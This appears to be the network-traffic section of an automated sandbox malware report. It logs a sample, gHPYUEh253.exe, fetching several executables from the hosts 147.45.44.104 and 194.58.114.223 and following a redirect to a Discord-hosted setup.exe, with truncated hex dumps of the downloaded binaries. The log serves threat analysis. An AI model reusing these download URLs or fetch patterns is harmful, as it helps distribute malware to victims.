Aug 30, 2024 06:17:03.345680952 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/octet-stream Content-Length: 196648 Last-Modified: Thu, 29 Aug 2024 19:35:54 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd9a-30028" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ee cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 ce 02 00 00 0a 00 00 00 00 00 00 ae ed 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 03 00 00 02 00 00 4e 2c 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ed 02 00 53 00 00 00 00 00 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 da 02 00 28 26 00 00 00 20 03 00 0c 00 00 00 20 ec 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf @ @N,`XS.(& H.text `.rsrc.@@.reloc @BHxR&(,XUfh&\=E%"=m?*<UHft$U!B#:dE\J19KlXGRA6\|^.o@&5:i XmXj_0"LXEO j%mnEcT%3C))^:Tn7wY.`[AtyNjs\|QT?9':l${&V}9nes[?wqR/_JU8ir_Rhy<<@/'-Uv8F2zU'q5,.+GE?@@!
Aug 30, 2024 06:17:03.345732927 CEST	1236	IN	Data Raw: 83 ab e3 da 3f cc b6 59 79 06 32 2e 2e df ac e5 9d 05 59 71 c0 5f 0a e3 76 64 5b 1d a0 98 f9 04 44 fe cf dc 09 56 52 c7 51 9f e3 3c eb eb 86 50 e1 b2 5b f4 62 ca 96 23 5f b7 44 c9 01 98 2f df ef 7f 36 8c 59 a3 cf 08 d5 ff 79 57 f8 da a8 64 a2 40 Data Ascii: ?Yy2..Yq_vd[DVRQ<P[b#_D/6YyWd@$T)(tFT?VyqYCC9MeAr)j1#1?L=]N;0Y>/XRDlOp:<u=4NbY%tU:yRPBG$v9hAb
Aug 30, 2024 06:17:03.345746994 CEST	448	IN	Data Raw: 4d b1 d6 90 3e 7d 18 fb c9 d5 d4 47 4b 10 47 66 d2 46 6d 39 18 3d 7e 31 e2 72 5c bf 6e 94 4d 39 f2 bd ba 67 ab ec 0a a2 41 de be d8 27 0c 9f f9 95 39 da 10 91 44 fa 67 3b e7 da cc 5c e2 d0 9e 5f a4 89 4b e7 fe e7 6f 9f ac 46 35 b5 73 5c 32 51 46 Data Ascii: M>}GKGfFm9=~1r\nM9gA'9Dg;\_KoF5s\2QFR?<J1R%:o+B?\W6t~sLzS{AqQm"'m&"\|x'T.C)uc'[r76iOM?BX](&i
Aug 30, 2024 06:17:03.345756054 CEST	1236	IN	Data Raw: 10 00 d3 fb 5f 96 5f 86 52 90 a2 99 4c 3d 1a 0a 3d 73 76 06 1e 34 a3 70 ad 35 ff 0c d3 e1 93 a0 d2 e5 57 5e 71 78 35 ab 21 09 e8 33 d8 f5 b6 9e c8 e8 27 46 cd 38 b4 37 65 73 6c 55 f4 76 f0 80 7c 79 80 56 5a ee 8b 97 c1 c1 56 3d 53 66 b8 cd 73 3a Data Ascii: __RL==sv4p5W^qx5!3'F87eslUv\|yVZV=Sfs:p.S25{Cz@$sY1m /7",..tb^VCd[}eQ?V\>/SNo!k7,Qh9n?xC
Aug 30, 2024 06:17:03.345768929 CEST	1236	IN	Data Raw: a4 5c 3d 2a 3b 90 aa be b6 cb 99 8f 79 a7 97 49 c3 d9 95 b1 22 19 60 4b 0c a2 31 d2 e8 50 31 55 53 92 ee 38 0d 76 8c 1a 6e 3d d3 f8 b2 c2 eb fa 6d 8d 4f 5c 3b cd 11 20 2b 0e a0 84 5e 17 92 79 f3 b6 76 56 5e dc 0f 3b bb 13 a1 cb 6f 42 4e 52 90 af Data Ascii: \=;yI"`K1P1US8vn=mO\; +^yvV^;oBNRl['f^D1'ZKt[}w(NlaMOirg_74yA]]bJGHpb\s=nB{lw/+%?[h7RMJ!4ajIJ
Aug 30, 2024 06:17:03.345783949 CEST	1236	IN	Data Raw: 62 73 87 e2 ab c8 f4 5e 58 c1 e1 e5 d2 52 11 8d 05 e0 39 70 93 f4 70 fa cf 77 b9 22 ab 90 2d f0 f3 b5 f3 d4 68 e5 b1 8b c1 b9 2a 4c 81 68 a8 26 1c 24 59 f6 8f f9 5a e6 21 e2 f3 f2 49 80 3d eb 39 44 e3 01 b9 97 58 42 94 4c 13 ef d8 f3 35 ff 4f bc Data Ascii: bs^XR9ppw"-hLh&$YZ!I=9DXBL5OIBSQ~}0?D0\;G99`T>Qy-tw{AJ=REB*=L6hr?njKD<EHZyZL
Aug 30, 2024 06:17:03.345793009 CEST	1236	IN	Data Raw: 01 b7 1e 61 a8 29 54 a1 0b 28 ea d1 8c ce 6c 7a 8a 3a 48 92 68 49 58 4a 4a b9 f5 56 7f a0 09 a8 f4 43 67 22 9d 7c f7 20 9b 04 63 28 13 91 18 26 cc 20 cb a8 67 80 27 1a cd b3 47 92 37 7c 0c 86 bf 2b 0b 31 ca 37 e9 a9 cc 3a 0d 7b a6 b1 e2 67 b7 97 Data Ascii: a)T(lz:HhIXJJVCg"\| c(& g'G7\|+17:{gEhP[rNfhTo5r#O5DsKit tEqLM%FU=h5cfsbr^CZE(wOL>s\xj??w73l
Aug 30, 2024 06:17:03.345802069 CEST	1236	IN	Data Raw: 34 c7 12 24 46 6b 8d 8f c8 2a 78 87 27 08 ce b8 0b 57 f7 f8 fd 21 59 14 3f 6e 2b 06 ae d1 62 da 1a 01 99 3f 40 11 48 9e d2 96 dd fa fd 05 cf 55 7b 7e 54 55 a7 56 ba a1 cc 3b 29 a1 01 bf 06 12 9f 42 be 92 49 b4 a2 88 7b 92 e3 c6 db 7c f4 25 66 7e Data Ascii: 4$Fk*x'W!Y?n+b?@HU{~TUV;)BI{\|%f~)~zXD\8Q}bT^C'69#ICN{L^QhLOh$L@9Rp45hzHIbWwb}b%ht`JC#[<r5kC;}
Aug 30, 2024 06:17:03.346692085 CEST	1236	IN	Data Raw: a9 e5 86 e2 0e d2 5d e5 c1 71 f1 60 76 2b 2c f1 2a 8a 82 2f 60 64 59 ff aa 21 de ed d5 5e a1 17 7c a3 9b 86 5d e8 b4 3c 86 91 19 e9 8a a9 8d 0d fe 27 10 ce 29 f9 65 44 b9 1f d9 90 78 52 75 06 99 b4 d0 d1 fe 15 98 37 bd c4 b6 d7 67 8f 71 7f f6 72 Data Ascii: ]q`v+,*/`dY!^\|]<')eDxRu7gqr7(Yzw!O!z9@uKxKPy\|-:),cu5yYexy{\^ea0g%h7kaSv]`u)~=GiU{t
Aug 30, 2024 06:17:03.346702099 CEST	1236	IN	Data Raw: 26 62 8f 11 81 90 91 d0 7c fc 4a 71 fa db fd ce b5 74 95 3e 8b 96 c8 56 44 0e 72 14 97 22 f5 92 f0 9c c9 55 85 a8 2f 72 98 3c 0f f6 07 b5 98 1b 79 06 a2 d1 66 55 b2 3d 63 7f 73 a4 00 4c 60 94 b6 ba 8d 90 94 1d d8 f1 3d ec 59 45 49 ab f1 fc c1 01 Data Ascii: &b\|Jqt>VDr"U/r<yfU=csL`=YEI{MJT7Q4R$DM+SAzMzh>ti3ByLUEiG0(]t0PA<Su_A[X`i6LS0E6v6x( ^/9Mua@#$Mo8mp`
Aug 30, 2024 06:17:03.346710920 CEST	1236	IN	Data Raw: 24 d6 00 e1 e1 ca 4d f4 ee ed aa 09 65 77 ca 89 17 84 6f fd ca 34 a7 38 96 9d 3b 14 b9 ce 56 86 70 df 98 73 84 ef 79 0a d5 c5 82 da 2b 53 5b 7a 69 7d 9c 9f 32 82 df aa 77 6b b9 9e 82 22 a3 9d 8e 05 07 ea 67 1f 3b 7d 4d 2c 0a b6 7a ec 15 eb 22 7e Data Ascii: $Mewo48;Vpsy+S[zi}2wk"g;}M,z"~.v&ub@+3_X]8QY*cDM{cj4j%jRqg%6CV\|}dGK4 Emj\6\m=z$0Tof
Aug 30, 2024 06:17:03.726457119 CEST	218	OUT	GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:03.917145014 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/octet-stream Content-Length: 10902016 Last-Modified: Thu, 22 Aug 2024 08:54:11 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c6fcb3-a65a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 30 fc c6 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 82 00 00 00 06 cd 00 00 00 00 00 6f 09 82 01 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 99 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 ef 81 01 3c 00 00 00 00 80 96 01 d0 04 03 00 40 53 96 01 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 0e 81 01 28 00 00 00 00 52 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd0f#o@ <@S`*P(R8 .text `.rdata @@.data@.pdata@@.00cfg@@.tls@.text0:( `.text1X @.text2M0N`h.rsrcT@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	194.58.114.223	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:02.005969048 CEST	199	OUT	HEAD /d/525403 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 194.58.114.223 Cache-Control: no-cache
Aug 30, 2024 06:17:02.700508118 CEST	356	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 30 Aug 2024 04:17:02 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=120 Location: https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8&
Aug 30, 2024 06:17:03.420629978 CEST	198	OUT	GET /d/525403 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 194.58.114.223 Cache-Control: no-cache
Aug 30, 2024 06:17:03.637753010 CEST	1236	IN	HTTP/1.1 302 Found Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=120 Location: https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8& Data Raw: 34 35 36 0d 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 72 65 66 65 72 72 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 52 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 55 52 4c 3d 27 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 32 37 32 34 36 31 34 38 35 36 32 38 37 31 39 31 37 39 2f 31 32 37 38 39 31 33 37 33 35 33 32 32 35 30 35 32 32 37 2f 73 65 74 75 70 2e 65 78 65 3f 65 78 3d 36 36 64 32 38 38 62 62 26 69 73 3d 36 36 64 31 33 37 33 62 26 68 6d 3d 64 62 38 32 37 64 32 38 66 34 64 37 63 36 38 32 31 38 35 33 38 37 38 39 37 31 30 36 38 31 33 31 65 34 30 64 30 36 64 61 61 38 39 37 39 64 63 64 64 64 66 35 62 64 30 38 63 33 66 31 34 30 61 38 26 27 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 [TRUNCATED] Data Ascii: 456<html> <head> <meta name="referrer" content="no-referrer"> <meta http-equiv="Refresh" content="0; URL='https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8&'"> <script> window.location.href="https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8&"; </script> </head> <body> <a href="https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8&" referrerPolicy="no-referrer" rel="noreferrer">click here</a>
Aug 30, 2024 06:17:03.637763023 CEST	270	IN	Data Raw: 20 20 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 6c 66 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 64 69 73 63 6f 72 64 61 70 70 2e 63 6f 6d 2f 61 74 74 61 63 68 6d 65 6e 74 73 2f 31 Data Ascii: <script> self.location="https://cdn.discordapp.com/attachments/1272461485628719179/1278913735322505227/setup.exe?ex=66d288bb&is=66d1373b&hm=db827d28f4d7c6821853878971068131e40d06daa8979dcdddf5bd08c3f140a8&"; </script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	147.45.44.104	80	7556	C:\Users\user\Desktop\gHPYUEh253.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 06:17:02.006627083 CEST	223	OUT	HEAD /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:02.671628952 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:02 GMT Content-Type: application/octet-stream Content-Length: 212520 Last-Modified: Thu, 29 Aug 2024 19:35:51 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd97-33e28" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 06:17:02.671956062 CEST	229	OUT	HEAD /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:02.928034067 CEST	309	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:02 GMT Content-Type: application/octet-stream Content-Length: 795648 Last-Modified: Sun, 18 Aug 2024 09:57:23 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c1c583-c2400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 06:17:02.959153891 CEST	228	OUT	HEAD /malesa/66c9d3bd31e56_otraba.exe#kisotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:03.150890112 CEST	311	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/octet-stream Content-Length: 5358592 Last-Modified: Sat, 24 Aug 2024 12:36:13 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c9d3bd-51c400" X-Content-Type-Options: nosniff Accept-Ranges: bytes
Aug 30, 2024 06:17:03.160648108 CEST	222	OUT	GET /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:03.353166103 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/octet-stream Content-Length: 212520 Last-Modified: Thu, 29 Aug 2024 19:35:51 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66d0cd97-33e28" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 e0 cc d0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 0c 03 00 00 0a 00 00 00 00 00 00 ae 2b 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 c3 4b 03 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 2b 03 00 53 00 00 00 00 40 03 00 2e 06 00 00 00 00 00 00 00 00 00 00 00 18 03 00 28 26 00 00 00 60 03 00 0c 00 00 00 20 2a 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELf+ @@ K`X+S@.(&` * H.text `.rsrc.@@@.reloc`@B+Hx%ywU%BN29p@V%%7=:u;7y&RJ[yA4-F @6nN39iw;psWm!2N1~}E~i=Bt&bc`w1{l%mU#8Rj&<zxqn;tue%r34G*xuU\`V,tX\|<1^+?Mf!,veMf2
Aug 30, 2024 06:17:03.353173971 CEST	224	IN	Data Raw: b5 43 8a ec 60 82 9d 88 60 d7 c0 19 de 44 f4 23 5a fb 41 67 70 7f 0c fa ec ef e3 fc b8 2d 2b b5 89 c7 b7 2d c2 a5 a5 bb 57 87 87 99 0e b9 4b 4d b6 5f 34 9e 11 22 d8 29 ba e8 4f a1 de 36 01 23 2c fd ed 74 cb b2 2e c1 49 20 ba 41 8c fb 56 71 54 1a Data Ascii: C``D#ZAgp-+-WKM_4")O6#,t.I AVqTtSB[k@&_85;!&Mhe?E{Sx_(v\|_J,mH:o<DCw<:+ fIeopEk,E#`*yJkr[u
Aug 30, 2024 06:17:03.353178978 CEST	1236	IN	Data Raw: 02 67 84 40 a5 bd 7b 9b cd e0 30 20 55 83 75 99 2f a9 5d 94 d7 49 54 e3 13 84 90 43 d6 c5 78 5f 20 59 8a 34 13 04 61 ab 12 6d 7f 3e 17 00 29 9b 10 15 18 6a 4d 17 bf f7 f8 dd 66 5f 8a 4f 31 bb bc 5a 76 4a af 4f ed e0 28 1d b4 24 b4 c2 46 25 1e 8b Data Ascii: g@{0 Uu/]ITCx_ Y4am>)jMf_O1ZvJO($F%/$:tEUbsvzCVRhnX7u;f\|ZL,H-%+=!>ZY:m1yyCu~f)UJ!!GhmCK6)[9as
Aug 30, 2024 06:17:03.353188992 CEST	1236	IN	Data Raw: 8d 9d bf de 67 90 cf 0c 37 66 7d f7 a2 ed f0 f4 78 09 f8 77 79 70 19 03 7e 6c 01 37 17 f1 a1 14 a8 a1 1e 74 07 22 fb 48 4b 93 d2 4b c8 21 84 76 89 b8 1b e6 f8 f1 e9 6b 91 43 f3 97 d4 10 5b 9a 2a 69 40 e0 d8 72 f2 ef 5f 87 b1 89 3e f6 bf d9 75 e2 Data Ascii: g7f}xwyp~l7t"HKK!vkC[*i@r_>uNXtjlQQ_IzIVw9RwR7<fh)W5#BGAFn9Fbj'lnE;5&IO~@fFvN~,S81;fXV`\|F
Aug 30, 2024 06:17:03.353198051 CEST	1236	IN	Data Raw: 98 ca eb e3 6c c1 ca 74 e3 92 5d f2 7f e8 1a 7c 0a fa d4 b3 a0 d6 fa b9 50 6a 9b 8a da 58 3b cc e2 25 d6 3f 0b 21 84 22 fd 62 1e 59 6c 8c b3 38 3b 5e d8 06 fc 62 1e 76 b8 f6 20 b9 b6 0a 80 03 dd f5 60 f6 30 3c ab 53 2c 9c 1e 27 16 9a d4 79 14 30 Data Ascii: lt]\|PjX;%?!"bYl8;^bv `0<S,'y0CmU;,sld:iyWF)1mQ+`4!Yhwvl{GJ_whCn)=}<&OR9`i6H}5b?\mH%`Ga~(
Aug 30, 2024 06:17:03.353209019 CEST	1236	IN	Data Raw: f4 95 36 26 e8 54 66 98 61 e1 c0 ba 2a bc 39 e1 cf bf 81 aa 35 ec ee d0 82 97 31 02 b9 67 8d c5 18 51 14 91 71 ac 3e 09 bd b1 45 47 a1 fe b5 b8 be 03 fc ea 67 68 40 15 0f 1e a9 f8 ae 07 ed 7e 80 ac e9 b3 47 8b 74 52 6b 9f d4 70 da 1f a8 ac 59 17 Data Ascii: 6&Tfa951gQq>EGgh@~GtRkpYS34tSA_@}DJpN/Eu%va1):N^QGur7@WQ_fhi=e.n~L6J\|9?CqQZhwY
Aug 30, 2024 06:17:03.353219986 CEST	1236	IN	Data Raw: 3b 83 85 10 14 d8 91 28 76 c0 9c 46 70 85 1d 01 c1 01 bc a2 11 60 a7 06 56 ac 9a cb 2c cc 33 7e a2 5f 4b d6 9d 63 84 56 38 e6 ab e7 a4 c4 4f 38 0f 8e 0e 15 1f f7 b3 9b d5 ab 31 ae 49 44 12 5a a1 03 a6 ec 8f f8 c4 c2 93 b4 bb 54 82 e3 e0 20 de 3a Data Ascii: ;(vFp`V,3~_KcV8O81IDZT :3mcqU\|/3]Q3i?Oz(K%+F3=\|Yd\|_;YhQ]R:W7:SM)sd@DVC"oPQ4{KOPEk[=}K
Aug 30, 2024 06:17:03.353986979 CEST	552	IN	Data Raw: 59 a2 8d fe 83 9f 70 eb d9 b9 69 73 3e 7e 6a 3a 4c 1d 82 58 df e6 ce ca 7d 15 4f 91 63 b1 b3 53 7a 71 71 bb e3 b1 e3 47 90 fe 09 92 b4 c8 a8 ef 7e fc 78 ad 7b 1a b5 59 f2 db 1e b3 bd e5 9f ad e1 4e 05 6e 63 93 73 da 21 6d 4c 53 4f 3d f7 99 0f b3 Data Ascii: Ypis>~j:LX}OcSzqqG~x{YNncs!mLSO=ox\|B4z^:3j[9>ZS{m#vy~+p6ygw)yOAhc09xhb#;u4arFp}z-_l"U
Aug 30, 2024 06:17:03.354079962 CEST	1236	IN	Data Raw: 48 98 95 d4 c0 0d 63 a2 9b 26 6b df 17 31 fa 6b 80 cf c3 cd dd 13 9c 01 7c 98 8c 17 46 8c 13 59 52 93 60 87 41 30 4e 7f 1f 1f 3a 77 78 25 5e eb d6 24 ca 31 6d c2 6b 30 0c 4e e0 44 98 e0 53 25 2f 25 e0 46 fc ef 8d 3e c0 61 86 2d fb 0c dd 9d 72 89 Data Ascii: Hc&k1k\|FYR`A0N:wx%^$1mk0NDS%/%F>a-re{/xBAY!55zHY 'b"NDq+72@~BE\|1N E-eBgXUb023paNAXy+jW0SBjUF' 2Xh
Aug 30, 2024 06:17:03.354089975 CEST	1236	IN	Data Raw: b6 f5 d5 a8 49 bf dd de 96 a9 5e a0 16 28 40 aa 58 3b 04 43 b5 7f 60 73 ec e1 7e 9e d4 3f e9 c1 f5 dc ae 2a 10 d0 92 80 a5 8d cc b5 c6 ee d8 29 39 a7 bb 29 48 77 cc a0 45 ac b5 02 69 52 2e 0f 99 c9 8e ac 10 27 95 db 83 e0 7c 3a cc 0d b6 a3 48 29 Data Ascii: I^(@X;C`s~?)9)HwEiR.'\|:H)sg03dB7e;yqsOlxTFT7gC0JtRH45GSUG%P>4Qo!?cd\|tsZ"l>wR!Kq79sM~cX$
Aug 30, 2024 06:17:03.354099989 CEST	1236	IN	Data Raw: ce 09 ea 49 d7 77 7d 90 d5 53 d4 12 f0 1d f6 bc 40 36 a6 0e e9 eb 6a b4 e3 31 73 46 f6 c9 7d 67 87 30 d2 a3 b1 02 03 c0 75 35 12 a4 3a 01 56 e4 51 53 7c f7 29 c8 39 32 bb c2 4a 06 d0 23 4e 0a 13 87 f8 c9 1e 7d f6 a6 b1 cf 98 0c 86 ad 2b 2b e1 c4 Data Ascii: Iw}S@6j1sF}g0u5:VQS\|)92J#N}++qP7k;@0>nQY~VojDRh2<LxA7Y@x-UcRrpu]1TT/pXYxUIk4tlcB'1*p6)T8@8q+D
Aug 30, 2024 06:17:03.734860897 CEST	228	OUT	GET /prog/66c1c5838f95f_file1808.exe#fileotr HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: 147.45.44.104 Cache-Control: no-cache
Aug 30, 2024 06:17:03.927966118 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 04:17:03 GMT Content-Type: application/octet-stream Content-Length: 795648 Last-Modified: Sun, 18 Aug 2024 09:57:23 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "66c1c583-c2400" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 98 e1 fc bd dc 80 92 ee dc 80 92 ee dc 80 92 ee c2 d2 16 ee c7 80 92 ee c2 d2 07 ee cc 80 92 ee c2 d2 11 ee 96 80 92 ee fb 46 e9 ee d9 80 92 ee dc 80 93 ee b6 80 92 ee c2 d2 18 ee dd 80 92 ee c2 d2 06 ee dd 80 92 ee c2 d2 03 ee dd 80 92 ee 52 69 63 68 dc 80 92 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0a 92 0e 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 40 0a 00 00 e0 02 00 00 00 00 00 7e 17 00 00 00 10 00 00 00 50 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 0d 00 00 04 00 00 a0 65 0c 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS 